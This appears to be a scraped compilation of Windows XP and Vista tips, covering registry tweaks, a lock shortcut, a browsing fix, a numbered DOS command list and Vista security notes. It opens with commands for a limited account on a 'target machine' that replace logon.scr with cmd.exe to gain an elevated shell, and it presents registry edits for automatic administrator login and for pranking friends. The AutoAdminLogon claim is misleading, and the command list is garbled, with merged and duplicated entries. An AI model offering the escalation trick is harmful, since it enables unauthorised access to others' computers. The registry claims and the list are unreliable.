WINDOWS TIPS COLLECTION

windows XP admin password
If you log into a limited account on your target machine and open up a dos promptthen enter this set of commands Exactly
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.Just hack it down !!!Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

Windows Xp Tricks

Speed up your browsing of Windows 2000 & XP machines
Here's a great tip to speed up your browsing of Windows XP machines. Its actually a fix to a bug installed as default in Windows 2000 that scans shared files for Scheduled Tasks. And it turns out that you can experience a delay as long as 30 seconds when you try to view shared files across a network because Windows 2000 is using the extra time to search the remote computer for any Scheduled Tasks. Note that though the fix is originally intended for only those affected, Windows 2000 users will experience that the actual browsing speed of both the Internet & Windows Explorers improve significantly after applying it since it doesn't search for Scheduled Tasks anymore. Here's how :Open up the Registry and go to :HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpaceUnder that branch, select the key :{D6277990-4C6A-11CF-8D87-00AA0060F5BF}and delete it.This is key that instructs Windows to search for Scheduled Tasks. If you like you may want to export the exact branch so that you can restore the key if necessary.This fix is so effective that it doesn't require a reboot and you can almost immediately determine yourself how much it speeds up your browsing processes

All Dos Commands - The Ethical Hacking

1. ADDUSERS Add or list users to/from a CSV file


2. ADDUSERS Add or list users to/from a CSV file


3. ARP Address Resolution Protocol


4. ASSOC Change file extension associations


5. ASSOCIAT One step file association


6. AT Schedule a command to run at a later time


7. ATTRIB Change file attributes


8. BOOTCFG Edit Windows boot settings


9. BROWSTAT Get domain, browser and PDC info


10. CACLS Change file permissions


11. CALL Call one batch program from another


12. CD Change Directory - move to a specific Folder


13. CHANGE Change Terminal Server Session properties


14. CHKDSK Check Disk - check and repair disk problems


15. CHKNTFS Check the NTFS file system


16. CHOICE Accept keyboard input to a batch file


17. CIPHER Encrypt or Decrypt files/foldersCleanMgr Automated cleanup of Temp files, recycle bin


18. CLEARMEM Clear memory leaks


19. CLIP Copy STDIN to the Windows clipboard.


20. CLS Clear the screen


21. CLUSTER Windows Clustering


22. CMD Start a new CMD shell


23. COLOR Change colors of the CMD window


24. COMP Compare the contents of two files or sets of files


25. COMPACT Compress files or folders on an NTFS partition


26. COMPRESS Compress individual files on an NTFS partition


27. CON2PRT Connect or disconnect a Printer


28. CONVERT Convert a FAT drive to NTFS.


29. COPY Copy one or more files to another location


30. CSVDE Import or Export Active Directory data


31. DATE Display or set the dateDcomcnfg


32. DCOM Configuration Utility


33. DEFRAG Defragment hard drive


34. DEL Delete one or more files


35. DELPROF Delete NT user profiles


36. DELTREE Delete a folder and all subfolders


37. DevCon Device Manager Command Line Utility


38. DIR Display a list of files and folders


39. DIRUSE Display disk usage


40. DISKCOMP Compare the contents of two floppy disks


41. DISKCOPY Copy the contents of one floppy disk to another


42. DNSSTAT DNS Statistics


43. DOSKEY Edit command line, recall commands, and create macros


44. DSADD Add user (computer, group..) to active directory


45. DSQUERY List items in active directory


46. DSMOD Modify user (computer, group..) in active directory


47. ECHO Display message on screen


48. ENDLOCAL End localisation of environment changes in a batch file


49. ERASE Delete one or more files


50. EXIT Quit the CMD shell


51. EXPAND Uncompress files


52. EXTRACT Uncompress CAB files


53. FC Compare two files


54. FDISK Disk Format and partition


55. FIND Search for a text string in a file


56. FINDSTR Search for strings in files


57. FOR Conditionally perform a command several times


58. FORFILES Batch process multiple files


59. FORMAT Format a disk


60. FREEDISK Check free disk space (in bytes)


61. FSUTIL File and Volume utilities


62. FTP File Transfer Protocol


63. FTYPE Display or modify file types used in file extension associations


64. GLOBAL Display membership of global groups


65. GOTO Direct a batch program to jump to a labelled line


66. HELP Online HelpHFNETCHK Network Security Hotfix Checker


67. IF Conditionally perform a command


68. IFMEMBER Is the current user in an


69. NT WorkgroupIPCONFIG Configure IP


70. KILL Remove a program from memory


71. LABEL Edit a disk label


72. LOCAL Display membership of local groups


73. LOGEVENT Write text to the NT event viewer.


74. LOGOFF Log a user off


75. LOGTIME Log the date and time in a file


76. MAPISEND Send email from the command line


77. MEM Display memory usage


78. MD Create new foldersMODE Configure a system device


79. MORE Display output, one screen at a time


80. MOUNTVOL Manage a volume mount point


81. MOVE Move files from one folder to another


82. MOVEUSER Move a user from one domain to another


83. MSG Send a message


84. MSIEXEC Microsoft Windows Installer


85. MSINFO Windows NT diagnostics


86. MSTSC Terminal Server Connection (Remote Desktop Protocol)


87. MUNGE Find and Replace text within file(s)


88. MV Copy in-use filesNET Manage network resources


89. NETDOM Domain Manager


90. NETSH Configure network protocols


91. NETSVC Command-line Service Controller


92. NBTSTAT Display networking statistics (NetBIOS over TCP/IP)


93. NETSTAT Display networking statistics (TCP/IP)NOW Display the current Date and Time


94. NSLOOKUP Name server lookup


95. NTBACKUP Backup folders to tape


96. NTRIGHTS Edit user account rights


97. PATH Display or set a search path for executable files


98. PATHPING Trace route plus network latency and packet loss


99. PAUSE Suspend processing of a batch file and display a message


100. PERMS Show permissions for a user


101. PERFMON Performance Monitor


102. PING Test a network connection


103. POPD Restore the previous value of the current directory saved by


104. PUSHDPORTQRY Display the status of ports and services


105. PRINT Print a text file


106. PRNCNFG Display, configure or rename a printer


107. PRNMNGR Add, delete, list printers set the default printer


108. PROMPT Change the command promptPsExec


109. Execute process remotelyPsFile Show files opened remotely


110. PsGetSid Display the


111. SID of a computer or a userPsInfo List information about a system


112. PsKill Kill processes by name or process IDPsList List detailed information about processes


113. PsLoggedOn Who's logged on (locally or via resource sharing)


114. PsLogList Event log records


115. PsPasswd Change account passwordPsService View and control services


116. PsShutdown Shutdown or reboot a computerPsSuspend Suspend processes


117. PUSHD Save and then change the current directory


118. QGREP Search file(s) for lines that match a given pattern


119. RASDIAL Manage RAS connections


120. RASPHONE Manage RAS connections


121. RECOVER Recover a damaged file from a defective disk.


122. REG Read, Set or Delete registry keys and values


123. REGEDIT Import or export registry settings


124. REGSVR32 Register or unregister a


125. DLLREGINI Change Registry Permissions


126. REM Record comments (remarks) in a batch file


127. REN Rename a file or files.


128. REPLACE Replace or update one file with another


129. RD Delete folder(s)RDISK Create a Recovery Disk


130. RMTSHARE Share a folder or a printer


131. ROBOCOPY Robust File and Folder Copy


132. ROUTE Manipulate network routing tables


133. RUNAS Execute a program under a different user account


134. RUNDLL32 Run a DLL command (add/remove print connections)SC Service ControlSCHTASKS Create or Edit Scheduled Tasks


135. SCLIST Display NT ServicesScriptIt Control GUI applications


136. SET Display, set, or remove environment variables


137. SETLOCAL Begin localisation of environment changes in a batch file


138. SETX Set environment variables permanently


139. SHARE List or edit a file share or print share


140. SHIFT Shift the position of replaceable parameters in a batch file


141. SHORTCUT Create a windows shortcut (.LNK file)


142. SHOWGRPS List the NT Workgroups a user has joined


143. SHOWMBRS List the Users who are members of a Workgroup


144. SHUTDOWN Shutdown the computer


145. SLEEP Wait for x secondsSOON Schedule a command to run in the near future


146. SORT Sort inputSTART Start a separate window to run a specified program or commandSU Switch User


147. SUBINACL Edit file and folder Permissions, Ownership and Domain


148. SUBST Associate a path with a drive letter


149. SYSTEMINFO List system configuration


150. TASKLIST List running applications and services


151. TIME Display or set the system time


152. TIMEOUT Delay processing of a batch file


153. TITLE Set the window title for a


154. CMD.EXE sessionTOUCH Change file timestamps


155. TRACERT Trace route to a remote host


156. TREE Graphical display of folder structure


157. TYPE Display the contents of a text file


158. USRSTAT List domain usernames and last login


159. VER Display version information


160. VERIFY Verify that files have been saved


161. VOL Display a disk label


162. WHERE Locate and display files in a directory tree


163. WHOAMI Output the current UserName and domain


164. WINDIFF Compare the contents of two files or sets of files


165. WINMSD Windows system diagnostics


166. WINMSDP Windows system diagnostics


167. IIWMIC WMI Commands


168. XCACLS Change file permissions


169. XCOPY Copy files and folders


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Drawbacks of Windows Vista:

* If you install Windows Vista and any other operating system on a computer, you must install Windows Vista on a separate partition. Installing Windows Vista on a separate partition ensures that it will not overwrite files used by the other operating system

Microsoft's Windows Vista

Windows Vista is the next version of Windows for clients and servers. With the client version expected in 2006 for businesses and 2007 for consumers and the server version in 2007, Vista adds numerous features, including improved security and advanced multimedia capabilities. Vista also includes Trustworthy Computing (Palladium) and greater support for digital rights management. PCs running Vista require more memory than Windows XP. At least 1GB is recommended, with 2GB being a safer bet.Security and safety features of Windows VistaThere are a number of security and safety settings of Windows Vista. Internally, Microsoft adopted a "Security Development Lifecycle" with the underlying ethos of, "Secure
by design, secure by default, secure in deployment". New code for Windows Vista was developed with the SDL methodology, and all existing code was reviewed and refactored to improve security. A number of specific improvements have been made:* Windows Resource Protection prevents "potentially damaging system configuration changes", by preventing change to system files and settings by any process other than Windows Installer. Also changes to registry by unauthorized software are blocked.* Protected-Mode IE: Internet Explorer runs in a separate, low-privilege process, protecting the user from malicious content and security vulnerabilities, even in ActiveX controls.* Windows Firewall has been upgraded to support outbound packet filtering and full IPv6 support. A new MMC-based interface has been introduced which offers much more advanced control over the firewall.* Session 0 Isolation: Previous versions of Windows ran System services in the same login session as the locally logged-in user (Session 0). In Windows Vista, Session 0 is now reserved for these services, and all interactive logins are done in other sessions. This is intended to help mitigate a class of exploits of the Windows message-passing system, known as Shatter attacks.